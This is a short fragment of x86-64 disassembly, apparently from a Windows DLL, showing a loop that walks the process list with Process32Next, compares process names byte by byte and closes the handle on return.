mov r8, rdi
sub r8, rax
nop dword [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001103
inc rax
test ecx, ecx
jne 0x1800010f0
mov rcx, rbx
test edx, edx
je 0x180001145
lea rdx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1800010e0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.1800019b0
mov rbx, qword [rsp + 0x170]
add rsp, 0x160
pop rdi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x28]
jmp 0x180001124